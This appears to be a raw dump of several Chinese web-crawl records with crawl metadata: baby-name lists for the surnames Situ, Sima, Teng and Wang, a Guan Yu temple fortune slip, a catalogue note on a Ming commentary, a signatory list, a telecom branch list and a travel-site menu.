司徒伊帆 司徒愉萌 司徒丹鈺 司徒潤輝 司徒苓 司徒鳴越 司徒坤函 司徒雲飛 司徒雲飛 司徒勛必 司徒炫博 司徒桓誠 司徒宇雯 司徒迅徭 司徒鏝鏝 司徒文祥 司徒廣義 司徒理方 司徒雯樂 司徒亦廷 司徒長喜 司徒焱屺 司徒蘇海 司徒蔚淇 司徒祥焰 司徒偉巍 司徒子鑠 司徒可 司徒示仁 司徒珈藝 司徒伯帆 司徒呈子 司徒業成 司徒沁釔 司徒豬頭 司徒衛東 司徒珂欣 司徒逢春 司徒子涵 司徒宏坤 司徒煅煦 司徒宏璽 司徒靈威 司徒晨景 司徒佳藝 司徒天馳 司徒柯欣 司徒興福 司徒志毅 司徒丹陽 司徒靖源 司徒一丹 司徒迪 司徒映伶 司徒汀南 司徒喻琪 司徒奕尊 司徒曉渲 司徒愛晴 司徒在田 司徒傢晉 司徒墨鑫 司徒元錚 司徒月月 司徒皓心 司徒尤豪 司徒華東 司徒昌廷 司徒頎 司徒秋亦 司徒蔚 司徒金樺 司徒懷君 司徒善弈 司徒高峰 司徒素芝 司徒驥 司徒雅童 司徒栩峻 司徒子洹 司徒一銘 司徒清旋 司徒燦 司徒德龍 司徒藝奇 》》還是沒有找到滿意的名字?不妨問問大師。\n司徒韻斐 司徒宗遠 司徒鋒 司徒皓 司徒曉靜 司徒紅成 司徒佳蕾 司徒關 司徒發彬 司徒鵬 司徒武 司徒銘陳 司徒少康 司徒永恒 司徒芊慧 司徒雨佳 司徒筱棠 司徒梓緣 司徒義天 司徒煉智 司徒鈺琨 司徒泳嵐 司徒敏熔 司徒楷登 司徒召菊 司徒召起 司徒繁輝 司徒凡聖 司徒傑 司徒信華 司徒靖雅 司徒舉征 司徒維軒 司徒繪之 司徒世忠 司徒惠錦 司徒標 司徒若龍 司徒梓鑫 司徒衛 司徒澤洲 司徒昕桅 司徒瑋蕓 司徒泉伶 司徒瀟 司徒樹榮 司徒子瑯 司徒葉 司徒聖詠 司徒希璧 司徒文鴻 司徒始伊 司徒汶繽 司徒業翔 司徒均毅 司徒代 司徒瑞環 司徒嘉貴 司徒忠強 司徒峻銘 司徒皓南 司徒雅月 司徒子良 司徒克鋒 司徒昭然 司徒晨齊 司徒貴平 司徒承光 司徒少君 司徒海佳 司徒樂恬 司徒國航 司徒嘉翌 司徒光紳 司徒熙紫 司徒軍慧 司徒建輝 司徒智勇 司徒嬡韻 司徒冬蘭 司徒楚溶 司徒瀏湘 司徒森 司徒嶽都 司徒泗儀 司徒開陽 司徒炯然 司徒宇航 司徒致誠 司徒玨瑁 司徒翳新 司徒山彩 司徒志鵬 司徒璐絲 司徒笑談 司徒則鈐 司徒九三 司徒翊筠 司徒愷旖 司徒灩倪 司徒晨凌 司徒德生 司徒僮蕊 司徒楊 司徒宇熙 司徒瀟霖 司徒箐楚 司徒宣睿 司徒昊哲 司徒延鳳 司徒傢琪 司徒李軒 司徒格爾 司徒虹波 司徒偉峰 司徒曉敏 司徒冬亞 司徒興勝 司徒小刀 司徒沁羽 司徒小湔 司徒心寧 司徒澤昶 司徒傢安 司徒楷人 司徒宇軒 司徒樂 司徒小涵 司徒奧波 司徒富 司徒如 司徒銘 司徒呂嘉 司徒銚 司徒焰 司徒盧升 司徒海鎮 司徒曉多 司徒士靜 司徒揮 司徒玉珍 司徒陽菁 司徒忠信 司徒一涵 司徒日強 司徒光啟 司徒博飛 司徒宇濱 司徒巾竹 司徒達洲 司徒方祖 司徒元 司徒逢華 司徒庭檉 司徒巨兵 司徒子晨 司徒綽叢 司徒一 司徒陽 司徒遠航 司徒成鋼 司徒小寒 司徒泊憶 司徒浩 司徒向暉\n司徒佩雯 司徒梓騎 司徒依林 司徒子翔 司徒秋卿 司徒雅欣 司徒智豪 司徒銳 司徒健 司徒無名 司徒志榮 司徒林娉 司徒長安 司徒懿栩 司徒思洱 司徒小昭 司徒亦揚 司徒含 司徒文萱 司徒懿君 司徒菲菲 司徒海清 司徒佳一 司徒麗宏 司徒母綠 司徒建海 司徒亦雯 司徒晨皓 司徒燃 司徒芮儀 司徒達輝 司徒新躍 司徒小雨 司徒小彪 司徒普延 司徒茳 司徒一萱 司徒瀝鋼 司徒海濱 司徒芊妤 司徒華輝 司徒城有 司徒思成 司徒苗振 司徒宜欣 司徒佳潞 司徒煒蕓 司徒婉誼 司徒東全 司徒正 司徒稼稈 司徒逸友 司徒俊廉 司徒明珠 司徒同翔 司徒林初 司徒彥霏 司徒菡予 司徒星 司徒佩嬌 司徒洪波 司徒譽嚴 司徒蕓珊 司徒新亮 司徒傢賦 司徒芷珍 司徒互甄 司徒棟良 司徒瓔 司徒羽得 司徒吉旺 司徒梁炫 司徒浩楠 司徒為銀 司徒溢章 司徒健斌 司徒泊銘 司徒卉 司徒欣於 司徒志達 司徒建禎 司徒小淥 司徒蘇 司徒一蓓 司徒致遠 司徒俊安 司徒泳嬡 司徒若俊 司徒晨光 司徒顯銅 司徒佳寧 司徒紙揚 司徒易儒 司徒傢偉 司徒煒峰 司徒偉誠 司徒方珍 司徒子凈 司徒蕾 司徒昊裳 司徒世元 司徒子豪 司徒顯禎 司徒渴欣 司徒愛東 司徒竹笙 司徒再奇 司徒民傑 司徒傢雄 司徒玉榮 司徒爽 司徒苗苗 司徒亞珀 司徒慧宣 司徒梓任 司徒沁沁 司徒伊博 司徒雨 司徒韜鵬 司徒運仟 司徒國華 司徒純妤 》》還是沒有找到滿意的名字?不妨問問大師。\n司徒(Sī tú)姓源出有二:\n1、出自姬姓,是舜帝的後代。堯帝為炎黃部落首領時,舜為堯的司徒官,執掌和管理土地事務,故又名土司。舜的後代子孫有的以其職官命姓,稱司徒氏。\n2、春秋時,衛國大夫夏丁氏夏戊的兒子期任司徒,其後也稱司徒氏。 司徒是上古官名,相傳堯、舜時已經設置,主管教化民眾和行政事務。夏、商、周時期,朝廷司徒設有司徒官,為六卿之一,稱為地官大司徒,職位相當於宰相。春秋時列國也多設有這個職位,有以官職命氏的,就成為司徒氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.share4tw.com\/archives\/285503","date":"2018-04-23T05:48:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00427.warc.gz","language":"lzh","language_score":0.8990641236,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.8990641236305237, \"cmn_Hani_score\": 0.09524324536323547}","num_words":408,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.926,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第十一籤\n下下 韓信功勞不久\n今年好事一番新。富貴榮華萃汝身。仙機:\n誰道機關難料處。到頭獨立轉傷神。\n道■識\n莫貪求。名未遂。財祿平。訟不利。\n病者凶。事不濟。問行人。多阻滯。\n功名:學問無緣 一技在身 享受全生 何必嘆之\n六甲:捫心吾身 身心健否 先治之後 必有所賜\n求財:不能強行 行之不得 福延禍來 暫守可也\n婚姻:此緣不可 外可內否 人之性也 不宜合之\n農畜:明知可行 押之出反 命中註者 宜審慎也\n失物:未必追也 明知已為 為警告也 嗣後戒之\n生意:宜守本份 押大損大 不是君拙 時也命也\n丁口:心存不止 冥冥之中 報在此也 修身為重\n出行:斷之不可 時運不際 君之不濟 暫緩可也\n疾病:九死一生 留得一命 受之教訓 銘記在心\n官司:沖犯官符 請大律者 可解圍矣 代價甚鉅\n時運:逢卯之字 命運坎坷 明知如此 該退守之\n解說及記載:\n此籤卻要知道吾人處世。當見機而作。今年命運。雖吉未吉。似亨未亨。\n欲問孕生男。終難長養。底於有成。難料處言。事有變幻。\n凡事占之徒勞心力。若強為。到底無益。立字一作力字。\n■韓信功勞不久\n漢韓信。准陰人。佐漢高帝定天下。虜魏。破趙。降燕。下齊。滅楚。\n建十大功勳。初封楚王。高祖深忌其能。後偽遊雲夢。執歸降。\n封淮陰侯。乃不自損抑。務伐己功。致有殺身赤族之禍。\n亡年僅三十二歲。雖有功勞。不久於世。\n■孫臏遇龐涓\n戰國。孫臏齊人。龐涓魏人。同師事鬼谷子。\n孫臏之學優於龐涓。涓為魏將。與臏鬥智。輸而忌之。\n乃以計刖其足。後孫臏假作顛狂。得脫歸。\n齊威王以(臏)為師。將兵伐魏。\n用減灶添兵之法。賺龐涓。追至馬陵道。伏弩射死。\n返回求籤首頁","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/andy.hk\/divine\/emperorguan\/11","date":"2018-05-28T00:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794870604.65\/warc\/CC-MAIN-20180528004814-20180528024814-00363.warc.gz","language":"lzh","language_score":0.4259302616,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.4259302616119385, \"cmn_Hani_score\": 0.35583221912384033, \"nan_Hani_score\": 0.17431026697158813, \"yue_Hani_score\": 0.022831089794635773, \"wuu_Hani_score\": 0.011427635326981544}","num_words":72,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明曹學佺撰。學佺有易經通論。已著錄。是書自一卷堯典至六卷召誥。題曰書傳會衷。七卷洛誥以下。則題曰書傳折衷。篇帙相連。而兩名互見。莫喩其故。今姑從其前名。以歸畫一。其說多沿襲舊文。閒自立議。則又舛誤。如四岳。舊說皆以爲四人。學佺則以爲一人而總四岳諸侯之事。不知下文僉曰。爲眾應之辭也。其以三江爲松江婁江東江。九江爲洞庭。則皆取舊說之不可信者。洪範之六三德。不取鄭康成臣道之說。而用孔傳。亦爲寡識也。","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0027202.html","date":"2018-06-24T18:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867050.73\/warc\/CC-MAIN-20180624180240-20180624200240-00157.warc.gz","language":"lzh","language_score":0.4171738029,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.4171738028526306, \"cmn_Hani_score\": 0.2714890241622925, \"jpn_Jpan_score\": 0.05973099544644356, \"yue_Hani_score\": 0.05613163858652115, \"wuu_Hani_score\": 0.03435666486620903, \"zxx_Latn_score\": 0.02791506052017212, \"nan_Hani_score\": 0.027125902473926544}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.417,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退出恶党的团、队组织,迎接光明的未来。\n声明人:汪志强 赫荣显 叶迎春 汪国君 吴常福 刘永福 徐德明 卢云清 教本源 胡清正 王明君 张永安 宋福 姜兆丰 王允祥 王玉堂 周少彬 方正明 张义良 刘云鹏 谭德祥 王仁志 陈德俊 丁振福 隋天 李国强 范明正 郭庆 王常义 李明君 李永志 林丽 孙保贵 刘玉林 张兆强 张国君 邢福玉 矫正 范华志 徐吉祥 王永吉 白国福 孙喜 孙雪芹 敖庆源 杨永志 迟殿君 张永俊 关永平 周庆林 安振福 李正光 赫荣德 何常卢 国兴达 国玉光 方明仁 王兴达 刘庆吉 张正德 刘方 金永昌 王玉奇 吴常安 汪志义 王永福 王振祥 隋天 张景喜 顾萍 王振东 孙丹 关爱(73)","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/22261047","date":"2018-06-21T04:31:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864022.18\/warc\/CC-MAIN-20180621040124-20180621060124-00323.warc.gz","language":"lzh","language_score":0.6617580652,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6617580652236938, \"nan_Hani_score\": 0.23987454175949097, \"cmn_Hani_score\": 0.09513877332210541}","num_words":74,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.677,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓司馬的好聽的男孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓司馬的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓司馬的好聽的男孩名字!\n姓司馬的好聽的男孩名字\n司馬吉博 司馬煉剛 司馬燦觖 司馬駭 司馬嘉凝 司馬遲明 司馬沸曉 司馬浩瀚 司馬富強 司馬宇多 司馬谷穗 司馬贏 司馬邵涵 司馬自敦 司馬貫一 司馬定標 司馬文標 司馬楚傑 司馬炎平 司馬宇辰 司馬繼詠 司馬馨平 司馬焓卉 司馬黃顯 司馬雨軒 司馬方渝 司馬慶航 司馬春蕊 司馬晟愷 司馬彥八 司馬培企 司馬晶虹 司馬佳餘 司馬良國 司馬韋吉 司馬絆終 司馬瓊璐 司馬欽辰 司馬櫟 司馬琦欽 司馬照晴 司馬順延 司馬煒涵 司馬汶 司馬靜珊 司馬子宣 司馬琦宣 司馬燦鏵 司馬晶晶 司馬蘊萱 司馬聖雯 司馬淼潁 司馬蕊志 司馬煒華 司馬芳嫻 司馬濯萁 司馬絢 司馬喻寧 司馬世傲 司馬上 司馬鈺昕 司馬麟鵬 司馬雯 司馬一峰 司馬羽華 司馬思晨 司馬維熙 司馬彩翼 司馬可法 司馬喏澤 司馬凱淇 司馬勃 司馬續彪 司馬星元 司馬之傑 司馬子禾 司馬杭君 司馬育誠 司馬啟非 司馬冠群 司馬笛瑋 司馬洪吉 司馬哲宇 司馬宗觀 司馬昊羽 司馬嘯 司馬蕭豐 司馬竹茜 司馬慧昕 司馬桓業 司馬偉業 司馬殊行 司馬太虹 司馬蘭迪 司馬新志 司馬瀟瀾 》》還是沒有找到滿意的名字?不妨問問大師。\n司馬冬春 司馬程 司馬雪瑞 司馬治平 司馬彬鏵 司馬若童 司馬曉清 司馬立冠 司馬佳豪 司馬風笛 司馬子尹 司馬林峰 司馬超瑞 司馬宜含 司馬孟軻 司馬楷清 司馬祁巽 司馬子凌 司馬楚豪 司馬熙源 司馬尉霏 司馬恩華 司馬文騏 司馬迎賓 司馬以辰 司馬宇豪 司馬安 司馬遠贊 司馬沖 司馬繹禎 司馬海龍 司馬澤民 司馬航 司馬海晶 司馬傳銀 司馬紅軍 司馬祖業 司馬雅 司馬廷昕 司馬天意 司馬添盛 司馬維翔 司馬柏謙 司馬亮秀 司馬詠春 司馬應泰 司馬翊羽 司馬育嵐 司馬真誠 司馬辛瑞 司馬克猛 司馬美鶯 司馬忠標 司馬騏躒 司馬楚然 司馬晶晶 司馬翎朝 司馬秦仰 司馬姝昊 司馬霖 司馬雨震 司馬川 司馬琮凱 司馬奇遇 司馬思然 司馬星慧 司馬永惜 司馬恭森 司馬宸澤 司馬小軍 司馬浩仲 司馬達慶 司馬嘉樂 司馬紫暄 司馬翊民 司馬玉贏 司馬崇煥 司馬振波 司馬宇劉 司馬馨蕊 司馬可廣 司馬思揚 司馬會忠 司馬佳 司馬儷嘉 司馬霖微 司馬一峰 司馬艷驤 司馬曉桐 司馬哲凡 司馬羚博 司馬雅清 司馬楚然 司馬海傑 司馬定國 司馬原儲 司馬煒翔 司馬粟 司馬金傑 司馬宇謙 司馬安泰 司馬未未 司馬妮 司馬舒利 司馬槐滬 司馬昊成 司馬姝 司馬昌華 司馬欣卓 司馬簞你 司馬炎 司馬佳津 司馬聿秀 司馬子敏 司馬毅志 司馬尚武 司馬曉燁 司馬委樺 司馬杲歡 司馬純顏 司馬允姿 司馬佩佩 司馬懿薇 司馬蕭遙 司馬恩國 司馬蔚煌 司馬偉勝 司馬臨楣 司馬恩匯 司馬洋伊 司馬斯淋 司馬潮心 司馬明慧 司馬詩淼 司馬韓輝 司馬佳琦 司馬愛國 司馬霏霏 司馬德金 司馬意崇 司馬浪 司馬曉寧 司馬成程 司馬偉勇 司馬添淶 司馬蘭 司馬景雲 司馬幻菡 司馬華棹 司馬海芩 司馬政榕 司馬昊輝 司馬可源 司馬志順 司馬旭萱 司馬曉峰 司馬洋陽 司馬筱靜 司馬予馨 司馬誠程 司馬小敏 司馬心月 司馬梓廷 司馬劍輝\n司馬涵 司馬秀蘭 司馬莜綺 司馬文志 司馬凌微 司馬會標 司馬尉玨 司馬佳琪 司馬步營 司馬浙 司馬觥程 司馬韻睛 司馬洪標 司馬傳發 司馬劍 司馬昀巍 司馬春明 司馬全亮 司馬星德 司馬欽欽 司馬曼南 司馬春生 司馬文強 司馬軼海 司馬文軒 司馬代兵 司馬億芯 司馬迷陽 司馬利軒 司馬兆獻 司馬小露 司馬泯瑞 司馬清勝 司馬景堂 司馬鑫坪 司馬斯琪 司馬衛方 司馬彭瑋 司馬利旺 司馬子明 司馬紫方 司馬菽丹 司馬玉偉 司馬夕鈺 司馬真 司馬南元 司馬其鏈 司馬黛清 司馬文哲 司馬楨博 司馬三目 司馬仲興 司馬傢明 司馬煊 司馬海鈺 司馬精 司馬仁寶 司馬晨宇 司馬鈺軒 司馬近澤 司馬偉冬 司馬唯豪 司馬伊展 司馬浚琪 司馬維童 司馬娛 司馬雅菁 司馬易農 司馬旨敏 司馬好 司馬成清 司馬金堡 司馬艷晶 司馬宏浩 司馬博逸 司馬可馨 司馬朝瑞 司馬荔廷 司馬海哲 司馬欣欣 司馬佳軒 司馬綺孺 司馬才琪 司馬朝偉 司馬伯黃 司馬黎明 司馬貞良 司馬瑋嶼 司馬靜蓮 司馬達明 司馬海浪 司馬彬芮 司馬鵬 司馬保 司馬純碩 司馬丞銘 司馬嘉 司馬思遠 司馬函 司馬賜 司馬天項 司馬悌 司馬卓越 司馬翰 司馬柃姿 司馬洛合 司馬松蘅 司馬楚海 司馬子琦 司馬星晨 司馬點點 司馬育繪 司馬淑賢 司馬恩蓮 司馬豐 司馬格芝 司馬講 司馬林 司馬彥鋒 司馬地 司馬逸圍 司馬海華 司馬黃君 司馬政煒 司馬可一 司馬斌 司馬朝亮 司馬躍進 司馬月盈 司馬笑寒 司馬亞林 司馬罘鬟 司馬羽菡 司馬可 司馬雄峰 司馬煜瑋 司馬鈺 司馬淑冰 司馬磊燁 司馬玉明 》》還是沒有找到滿意的名字?不妨問問大師。\n一.姓氏淵源:\n第一個淵源:源於官職,出自西周掌管軍事大權的大臣程伯休父,屬於以官職稱謂為氏。\n上古時有人重黎,為司掌天地之官,唐堯曾撫育重黎之後。周宣王時期,有重黎之後程伯休父,官至司馬,執掌司馬傢軍隊,佐政輔司馬,權勢重大。後來程伯休父克平瞭許方,立下大功,周宣王允許他以官職為姓,其後遂成司馬氏。\n第二個淵源:源於生姓,出自晉朝晉元帝司馬睿,屬於因故改姓為氏,或以官職稱謂改姓為氏。\n該支司馬氏出自晉元帝司馬睿,原本姓生,後因職而改姓司馬,其後代亦成為司馬氏,世代相傳至今。\n第三個淵源:源於改姓,出自姬姓許氏、郝氏改姓,屬於因故改姓為氏。\n許穆之、郝惔之,他們的後代中有人因故改為司馬氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.share4tw.com\/archives\/285578","date":"2018-06-22T03:37:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864343.37\/warc\/CC-MAIN-20180622030142-20180622050142-00009.warc.gz","language":"lzh","language_score":0.83555305,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.8355530500411987, \"cmn_Hani_score\": 0.15434369444847107}","num_words":411,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.867,"perplexity_score":500.0,"cluster_detection":1} +{"text":"热烈庆祝易华通讯400地方分站开通上线,全国各地城市400分站已上线,欢迎需要办理400业务的朋友光临地方分站。\n各地分站如下:\n北京 上海 广州 深圳 成都 杭州 南京 天津 武汉 重庆 青岛 济南 烟台 潍坊 临沂 淄博 济宁 聊城 威海 德州 日照 菏泽 苏州 无锡 常州 徐州 南通 扬州 盐城 连云港 合肥 芜湖 阜阳 淮南 安庆 宿州 淮北 马鞍山 东莞 佛山 中山 珠海 惠州 江门 汕头 韶关 顺德 福州 厦门 泉州 莆田 南宁 海口 三亚 郑州 洛阳 新乡 南阳 许昌 平顶山 安阳 焦作 商丘 开封 信阳 长沙 株洲 益阳 常德 衡阳 怀化 张家界 南昌 九江 宜春 吉安 上饶 萍乡 抚州 景德镇 沈阳 大连 鞍山 锦州 抚顺 营口 盘锦 朝阳 丹东 辽阳 葫芦岛 铁岭 阜新 长春 吉林 四平 延边 通化 辽源 绵阳 德阳 南充 宜宾 攀枝花 眉山 昆明 曲靖 大理 红河 玉溪 丽江 普洱 贵阳 遵义 黔南 六盘水 安顺 拉萨 日喀则 石家庄 保定 唐山 廊坊 邯郸 秦皇岛 沧州 邢台 衡水 张家口 承德 定州 张北 赵县 正定 太原 临汾 大同 运城 晋中 长治 晋城 阳泉 吕梁 忻州 呼和浩特 赤峰 鄂尔多斯 通辽 呼伦贝尔 巴彦淖尔市 西安 咸阳 宝鸡 渭南 汉中 延安 乌鲁木齐 兰州 天水 白银 庆阳 酒泉 银川 西宁 海北 玉树 海南","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/www.sshscom.net\/artinfo-42054.html","date":"2018-07-22T16:04:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593378.85\/warc\/CC-MAIN-20180722155052-20180722175052-00118.warc.gz","language":"lzh","language_score":0.5389328599,"language_script":"Hani","minhash_cluster_size":30,"top_langs":"{\"lzh_Hani_score\": 0.5389328598976135, \"cmn_Hani_score\": 0.3115483820438385, \"nan_Hani_score\": 0.142672598361969}","num_words":169,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.315,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.564,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问信阳!\n想去0\n去过0\n郑州旅游指南 开封旅游指南 洛阳旅游指南 平顶山旅游指南 安阳旅游指南 鹤壁旅游指南 新乡旅游指南 焦作旅游指南 濮阳旅游指南 许昌旅游指南 漯河旅游指南 三门峡旅游指南 南阳旅游指南 商丘旅游指南 周口旅游指南 驻马店旅游指南","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/xinyang.cncn.com\/info\/6832\/","date":"2018-07-23T17:48:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676599291.24\/warc\/CC-MAIN-20180723164955-20180723184955-00530.warc.gz","language":"lzh","language_score":0.6895236373,"language_script":"Hani","minhash_cluster_size":92,"top_langs":"{\"lzh_Hani_score\": 0.6895236372947693, \"cmn_Hani_score\": 0.26866811513900757, \"jpn_Jpan_score\": 0.018460210412740707, \"yue_Hani_score\": 0.010846850462257862}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.738,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n滕月铭 滕志铭 滕子铭 滕宇铭 滕芝岚 滕海青 滕姝 滕湘 滕亚静 滕海峰 滕晓雁 滕国安 滕君正 滕海东 滕智航 滕忠凤 滕宏飞 滕添 滕寿岩 滕森波 滕冶波 滕安论 滕晓伟 滕旭升 滕文弈 滕弈 滕明海 滕盛邺 滕堪耀 滕泯海 滕泯鑫 滕锦超 滕筱艾 滕晓爱 滕爱佳 滕宇哲 滕尚坤 滕国龙 滕文虹 滕希云 滕俐 滕勃宇 滕建丞 滕怀春 滕明波 滕振友 滕泮江 滕金澎 滕金浩 滕梦海 滕裕富 滕梓渊 滕慧春 滕承明 滕其良 滕承宏 滕树祥 滕海宁 滕富军 滕喜魁 滕新安 滕伊蕊 滕黎云 滕安琪 滕馨语 滕锦恩 滕汉鸿 滕辉虎 滕瑞杰 滕远国 滕俊岗 滕王国 滕尚攀 滕斯越 滕大朋 滕大鹏 滕世来 滕凤珍 滕建荣 滕旭东 滕林元 滕志耀 滕东 滕春军 滕金国 滕涵越 滕越涵 滕林杰 滕成林 滕英杰 滕海鹤 滕大卫 滕大维 滕大炜 滕宁宁 滕大为 滕大好 滕大伟 滕秀伟 滕林樾 滕欢欢 滕礼忆 滕炜晨 滕宏亮 滕朵朵 滕蕾 滕兴泽 滕若菲 滕枉新 滕宜靖 滕林楦 滕林详 滕林椿 滕昂琦 滕啸 滕峥 滕德祥 滕洋 滕隅轩 滕庆达 滕庆 滕晨昱 滕菁 滕引芝 滕仁 滕景汝 滕玮琪 滕旺彤 滕旺汝 滕周宏 滕德喜 滕久珍 滕一畅 滕柳儿 滕钰彩 滕玉彩 滕一桦 滕一霏 滕艺桦 滕之骏 滕佳坤 滕相超 滕肭 滕捺 滕钠 滕纳 滕呐 滕那 滕俊哲 滕启非 滕起菲 滕启菲 滕启飞 滕科君 滕勃君 滕芮艺 滕倍澜 滕国栋 滕一俏 滕一娆 滕俏楚 滕军楠 滕彤卿 滕立锋 滕立峰 滕丽荣 滕秀参 滕汝馨 滕传艺 滕团石 滕人达 滕步明 滕士军 滕维妨 滕干淳 滕凡博 滕川淞 滕唯仿 滕唯妨 滕世余 滕绪爱 滕昭利 滕利 滕晓龙 滕凡棂 滕尚福 滕树轩 滕林伶 滕楸 滕楚楚 滕凡跞 滕森 滕彳丁 滕真真 滕进宝 滕二甫 滕健铭 滕成淋 滕志伟 滕眉茜 滕泽铵 滕家钰 滕开来 滕捷锐 滕睫 滕安之 滕浙安 滕一安 滕铎 滕晓蕾 滕久明 滕泽雯 滕驰华 滕晟弈 滕衍志 滕佳楠 滕云来 滕泽全 滕钜安 滕铎安 滕佳君 滕铎华 滕小国 滕绍德 滕国发 滕昀 滕宏 滕佳璇 滕昊庭 滕成杰 滕俭刚 滕军强 滕弈迪 滕亦迪 滕奕迪 滕制安 滕丽名 滕丽雅 滕尚鑫 滕宗鑫 滕申阼 滕钰瑜 滕琬如 滕而 滕田根 滕衍秀 滕宇博 滕树博 滕倚豪 滕倚绮 滕微 滕雨良 滕禹达 滕海 滕梓瑞 滕志浩 滕峥鸣 滕蔓君 滕诗薇 滕承霖 滕灵芝 滕成霖 滕沛霖 滕显秋 滕芳菊 滕方菊 滕济玮 滕海鹏 滕铭一 滕茂松 滕一铭 滕雯静 滕弘一 滕培敏 滕丽亚 滕丁 滕建君 滕冠皓 滕文暄 滕文昭 滕文哲 滕彭 滕凇 滕云旭 滕文云 滕钒琰 滕登位 滕艳妮 滕一俊 滕海屏 滕王月 滕依妮 滕跃亮 滕灿烂 滕灿灿 滕焱瑞 滕千石 滕黄田 滕左木 滕溪溪","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.ooo681.cn\/show_A4Q.aspx","date":"2018-12-14T04:23:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825349.51\/warc\/CC-MAIN-20181214022947-20181214044447-00494.warc.gz","language":"lzh","language_score":0.4093267024,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.4093267023563385, \"cmn_Hani_score\": 0.2688235640525818, \"nan_Hani_score\": 0.2509208917617798, \"und_Plrd_score\": 0.03116312064230442, \"yue_Hani_score\": 0.020854901522397995}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.411,"perplexity_score":500.0,"cluster_detection":1} +{"text":"忌用金水土 起名带木火属性的汉字为宜不解析hi我初生的太阳嘛 晨也与妈妈的姓谐音 童晨又谐音同辰 便是相像的诞辰的道理己丑 丁丑 丙子 丙申 五行喜用木火,王童晨 童 童趣 始终生动 晨 无须注明,男 王翰思 王明杰 王明轩 王辰逸 王天宇 王泽洋 王鹏涛 王智轩 王睿渊 王越彬 王文昊 王俊楠 王韵文 王彤彤 王圣杰 王伟祺 王松德 王伟泽 王致轩 王博超 王鑫磊 王天磊 王雪松 王擎宇 王卡思 王致远 王玮伦 王幽朋 王伟宸 王展鹏 王达强 王雨泽 王俊驰 王嘉懿 王新豪 王鑫鹏 王厉辉 王益弘 王鼎寒 王皓轩 王文轩 王沙欧 王振豪 王烨伟 王鹤轩 王韵舟 王博文 王晓啸 女 王雪雁 王祎祎 王紫珊 王紫莺 王曼柔 王傲珊 王靖瑶 王雅彤 王醉倚 王正梅 王涵菡 王幽兰 王芸萱 王甜瑜 王海莲 王月霞 王欣妍 王漫妮 王傲蕾 王江萍 王美琳 王欢馨 王明美 王绮兰 王慕晴 王素芬 王钰彤 王佳雪 王雪芬 王羽馨 王若雪 王玥婷 王韵寒 王惠茜 王采盈 王梦洁 王虞花 王曼纹 王雅欣 王瑾萱 王可馨 王妙佳 王慕儿 王林琳 王雨嘉 王映真 王优璇 